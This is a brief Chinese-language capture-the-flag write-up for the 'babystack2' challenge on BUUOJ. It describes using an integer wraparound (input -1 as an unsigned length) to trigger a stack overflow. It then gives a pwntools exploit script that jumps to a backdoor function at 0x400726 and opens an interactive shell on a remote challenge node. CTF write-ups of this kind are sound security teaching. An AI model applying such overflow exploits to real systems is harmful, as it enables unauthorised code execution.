1.下载 checksec
64位 拖入IDA64
定位到main函数 以及后门函数
发现read需要读取输入——nbytes的数字来决定长度
同时nbytes是size_t类型 也就是无符号整型的
所以想到整数溢出漏洞 将nbytes设置为-1就会回绕,变成超大整数 从而实现栈溢出漏洞
exp:
from pwn import *
#p = process('./babystack2')
p = remote("node5.buuoj.cn", 27938)
backdoor = 0x400726
p.sendlineafter(b"your name:", b'-1')
payload = b'a' * (0x10 + 8) + p64(backdoor)
# +8要双击buf去栈看 看完就知道是要+8了
p.sendlineafter("u name?", payload)
p.interactive()
运行,得到flag
结束。